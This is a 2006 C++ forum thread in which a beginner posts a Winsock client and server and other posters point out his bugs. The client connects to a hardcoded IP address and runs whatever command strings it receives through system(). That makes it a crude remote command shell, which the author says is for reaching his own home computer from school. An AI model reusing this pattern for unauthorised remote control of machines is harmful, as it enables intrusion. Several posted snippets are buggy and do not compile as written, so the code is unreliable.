Thread: string not a member of std???

  1. #1
    Registered User
    Join Date
    Sep 2005
    Posts
    241

    string not a member of std???

    Here's my code
    Code:
    Look at new post
    its complaining about "std::string Command;" as "string not a member of std" Any help?
    Oh yeah, I am only using this for myself so i can get access to my comp from school
    Last edited by bikr692002; 05-27-2006 at 07:47 PM.

  2. #2
    erstwhile
    Join Date
    Jan 2002
    Posts
    2,227
    #include <string>
    CProgramming FAQ
    Caution: this person may be a carrier of the misinformation virus.

  3. #3
    Registered User
    Join Date
    Sep 2005
    Posts
    241
    aDUH!
    Stupid me.
    Thanks.

  4. #4
    Registered User
    Join Date
    Sep 2005
    Posts
    241
    Well it's giving me a ........yfit about the recv() having <const char*>Command.c_str() I've tried everything to try to force it, any help?
    Code:
    Check new post
    Last edited by bikr692002; 05-27-2006 at 08:39 PM.

  5. #5
    Registered User mrafcho001's Avatar
    Join Date
    Jan 2005
    Posts
    483
    basic_string::c_str() does not act like a pointer to a string, it acts as a C-style string.

    You could create a pointer and point it to what basic_string::c_str() returns but that is dangerous and should not be done as the MSDN suggest:
    http://msdn.microsoft.com/library/de...gFunctions.asp

    What i recomend you do is create a pointer to a character and allocate enough space, use it for the recv function, and then copy it to the string.

    EDIT:

    The number returned by Command.length() is 0 and you add 1 to it so the number you are passing by as buffer size is only 1, which will cause problems.
    Also your if statement:
    Code:
    if(Command=="Exit"||"Quit")
    did you mean:
    Code:
    if(Command == "Exit" || Command == "Quit")
    and your WinMain function never returns a value... It should return 0 upon successful exit.
    Last edited by mrafcho001; 05-27-2006 at 08:03 PM.
    My Website
    010000110010101100101011
    Add Color To Your Code!

  6. #6
    Registered User
    Join Date
    Sep 2005
    Posts
    241
    Alright here it is
    CLIENT
    Code:
    Look at new post
    SERVER
    Code:
    Look at new post
    The problem now is it won't stay running, it runs real quick and then exits.. how can I get it to wait and take commands over again instead of just taking it once and exiting? The damn thing doesn't even take one. It exits rightaway
    Last edited by bikr692002; 05-27-2006 at 09:43 PM.

  7. #7
    erstwhile
    Join Date
    Jan 2002
    Posts
    2,227
    >>CLIENT ... char* Command;<<

    It doesn't look like you've allocated any memory for this and yet are expecting recv to pump 128 bytes into this 'buffer'.

    Either declare this as a char array of suitable size or use a std::vector as a temporary buffer in its place.
    CProgramming FAQ
    Caution: this person may be a carrier of the misinformation virus.

  8. #8
    Registered User
    Join Date
    Sep 2005
    Posts
    241
    Alright here it is
    Client
    Code:
    #include <windows.h>
    #include <winsock.h>
    #include <string>
    #include <stdio.h>
    
    int WINAPI WinMain(HINSTANCE hInst,HINSTANCE hPrevInst,LPSTR lpCmd,int nShow)
    {
    	bool Loop,WaitingForServer;
    	std::string CommandString;
    	int nret,Connected;
    	WORD sockVersion;
    	WSADATA wsaData;
    	char Command[128];
    	sockVersion=MAKEWORD(1,1);
    	WSAStartup(sockVersion,&wsaData);
    	LPHOSTENT hostEntry;
    	in_addr iaHost;
    	iaHost.s_addr=inet_addr("68.194.143.107");
    	hostEntry=gethostbyaddr((const char *)&iaHost,sizeof(struct in_addr),AF_INET);
    	Waiting:
    	Loop=true;
    	WaitingForServer=true;
    	SOCKET theSocket;
    	theSocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    	SOCKADDR_IN serverInfo;
    	serverInfo.sin_family=AF_INET;
    	serverInfo.sin_addr=*((LPIN_ADDR)*hostEntry->h_addr_list);
    	serverInfo.sin_port=htons(48245);
    	while(WaitingForServer=true)
    	{
    		Connected=nret;
    		Connected=connect(theSocket,(LPSOCKADDR)&serverInfo,sizeof(struct sockaddr));
    		if(Connected=!nret)
    		{
    			WaitingForServer=false;
    		}
    	}
    	while(Loop==true)
    	{
    		recv(theSocket,Command,128,0);
    		{
    			CommandString=Command;
    			if(CommandString=="ExitServer"||"QuitServer")
    			{
    				Loop=false;
    				closesocket(theSocket);
    				goto Waiting;
    			}
    			if(CommandString=="ExitClient"||CommandString=="QuitClient")
    			{
    				Loop=false;
    				closesocket(theSocket);
    			}
    			else
    			{
    				system(Command);
    				Loop=true;
    			}
    		}
    	}
    	WSACleanup();
    	return 0;
    }
    Server
    Code:
    #include <windows.h>
    #include <winsock.h>
    #include <iostream>
    #include <stdio.h>
    #include <string>
    
    int WINAPI WinMain(HINSTANCE hInst,HINSTANCE hPrevInst,LPSTR lpCmd,int nShow)
    {
    	bool Loop,WaitingForClient;
    	std::string Command;
    	int nret,Connected;
    	WORD sockVersion;
    	WSADATA wsaData;
    	Loop=true;
    	WaitingForClient=true;
    	std::cout<<"Starting server.\n";
    	sockVersion=MAKEWORD(1,1);
    	WSAStartup(sockVersion,&wsaData);
    	SOCKET listeningSocket;
    	listeningSocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    	SOCKADDR_IN serverInfo;
    	serverInfo.sin_family=AF_INET;
    	serverInfo.sin_addr.s_addr=INADDR_ANY;
    	serverInfo.sin_port=htons(48245);
    	nret=bind(listeningSocket,(LPSOCKADDR)&serverInfo,sizeof(struct sockaddr));
    	std::cout<<"Server started. Waiting for connections.\n";
    	Listening:
    	Loop=true;
    	SOCKET theClient;
    	while(WaitingForClient==true)
    	{
    		Connected=nret;
    		Connected=listen(listeningSocket,10);
    		theClient=accept(listeningSocket,NULL,NULL));
    		if(Connected=!nret)
    		{
    			std::cout<<"Connection established with client.\n";
    			WaitingForClient=false;
    		}
    	}
    	while(Loop=true)
    	{
    		Command="";
    		std::cout<<"Enter Comand:";
    		std::cin>>Command;
    		if(Command=="QuitServer"||"ExitServer")
    		{
    			Loop=false;
    			WaitingForClient=false;
    			nret=send(theClient,Command.c_str(),(Command.length()+1),0);
    			closesocket(theClient);
    			closesocket(listeningSocket);
    		}
    		if(Command=="ExitClient"||Command=="QuitClient")
    		{
    			Loop=false;
    			WaitingForClient=true;
    			nret=send(theClient,Command.c_str(),(Command.length()+1),0);
    			closesocket(theClient);
    			goto Listening;
    		}
    		else
    		{
    			nret=send(theClient,Command.c_str(),(Command.length()+1),0);
    			Loop=true;
    		}
    	}
    	WSACleanup();
    	return 0;
    }
    What do you think so far?

  9. #9
    Registered User
    Join Date
    May 2006
    Posts
    903
    A lot of the time youuse too many lines uselessly. For example, why create a variable and then initilize it ? You can shorten you code by a lot.

    This is your code:
    Code:
    WORD sockVersion;
    WSADATA wsaData;
    char Command[128]; // what does this line has to do with the other lines here ?
    sockVersion=MAKEWORD(1,1);
    WSAStartup(sockVersion,&wsaData);
    My code:
    Code:
    char Command[128] = { 0 };
    WSAStartup(MAKEWORD(1,1), &wsaData);
    Also, it would be nice if your server could accept multiple connections. You could either create threads for each client (which doesn't work too bad with a few clients) or use select().

    Furthermore, you use goto (which, itself, isn't bad) but you put the case label between all the other lines and don't comment it at all which doesn't tell us much information about what you wanted to do with this.

    Moreover, you have too many variables for so little work done. For example, you have a boolean 'WaitingForClient' yet accept() will not return until a client has connected or the connection failed. Also, you use =! instead of !=. This isn't good because it has a completely different meaning. != means 'different of' and =! means 'equals the opposite of'; therefore, 'Connected=!nret' means 'if the return value of the = operator is true' yet on the right side of the equation you have '!nret' which means 'different of the value inside nret'.

  10. #10
    and the hat of int overfl Salem's Avatar
    Join Date
    Aug 2001
    Location
    The edge of the known universe
    Posts
    39,660
    Other horrors

    1. No vertical white space. The odd blank line, say between variables and statements would greatly improve readability.

    > while(WaitingForServer=true)
    Does this ever exit?
    Using = where == was meant that is.
    You may as well have written while(WaitingForServer)

    > recv(theSocket,Command,128,0);
    1. recv doesn't guarantee to fill the buffer
    2. recv doesn't append a \0
    3. there is no room to append a \0, if the buffer is filled
    4. you don't check the return result to see if anything was received.

    > system(Command);
    I sure hope you're testing this behind a good firewall.

    > Connected=nret;
    But nret isn't initialised on the first pass, so your assignments and comparisons are undefined.
    If you dance barefoot on the broken glass of undefined behaviour, you've got to expect the occasional cut.
    If at first you don't succeed, try writing your phone number on the exam paper.

  11. #11
    Registered User
    Join Date
    Sep 2005
    Posts
    241
    =( It's my first client-server program so I don't know much but most of the mistakes I made are not excusable, sorry =(
    I also know that the way I am typecasting is not allowed, but I don't know any other way to send an int =( (There is my newbiness right there)
    Code:
    Check new post
    Another problem is that I don't know how to deal with dropped packets and the such.

    EDIT: I forgot to change it to have less lines, I'll go do that now.
    EDIT: I am going to go google how to deal with dropped packets and the such.
    Last edited by bikr692002; 05-29-2006 at 01:40 PM.

  12. #12
    and the hat of int overfl Salem's Avatar
    Join Date
    Aug 2001
    Location
    The edge of the known universe
    Posts
    39,660
    Do you even compile what you post?

    Or are you just dumping what you've got so far and hoping someone's going to paste a completed program based on your efforts?

    It seems to me you need to step back from the immediate problem and practice on some of the basics.
    If you dance barefoot on the broken glass of undefined behaviour, you've got to expect the occasional cut.
    If at first you don't succeed, try writing your phone number on the exam paper.

  13. #13
    Registered User
    Join Date
    Sep 2005
    Posts
    241
    Yes I have been trying to compile them, I already said that I know the typecastings are errors, I just have them in there right now until I get the main part done, then I will deal with .
    I am not asking for a completed program. I just want to know how to do right what I am doing wrong. I've learned alot from these forums.

  14. #14
    C++ Witch laserlight's Avatar
    Join Date
    Oct 2003
    Location
    Singapore
    Posts
    28,413
    For one thing, does this line look awfully strange to you?
    Code:
    if(BufferSize=>9,999&&<100,000)
    Quote Originally Posted by Bjarne Stroustrup (2000-10-14)
    I get maybe two dozen requests for help with some sort of programming or design problem every day. Most have more sense than to send me hundreds of lines of code. If they do, I ask them to find the smallest example that exhibits the problem and send me that. Mostly, they then find the error themselves. "Finding the smallest program that demonstrates the error" is a powerful debugging tool.
    Look up a C++ Reference and learn How To Ask Questions The Smart Way

  15. #15
    and the hat of int overfl Salem's Avatar
    Join Date
    Aug 2001
    Location
    The edge of the known universe
    Posts
    39,660
    > Another problem is that I don't know how to deal with dropped packets and the such.
    TCP (from your point of view) doesn't drop packets, it's a reliable connection. Retransmission of any data is handled at a lower level.
    If reliability cannot be determined, the connection is dropped.

    > I just want to know how to do right what I am doing wrong
    One of the things you're doing wrong at the moment is forging ahead adding new bugs without fixing what people have told you about already.
    This is extremely rude, and rapidly puts people off from even bothering to comment.
    If you dance barefoot on the broken glass of undefined behaviour, you've got to expect the occasional cut.
    If at first you don't succeed, try writing your phone number on the exam paper.

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. We Got _DEBUG Errors
    By Tonto in forum Windows Programming
    Replies: 5
    Last Post: 12-22-2006, 05:45 PM
  2. RicBot
    By John_ in forum C++ Programming
    Replies: 8
    Last Post: 06-13-2006, 06:52 PM
  3. can anyone see anything wrong with this code
    By occ0708 in forum C++ Programming
    Replies: 6
    Last Post: 12-07-2004, 12:47 PM
  4. Builder 5 v's bcc32.exe
    By sononix in forum C++ Programming
    Replies: 3
    Last Post: 08-17-2004, 10:17 AM
  5. Linked List Help
    By CJ7Mudrover in forum C Programming
    Replies: 9
    Last Post: 03-10-2004, 10:33 PM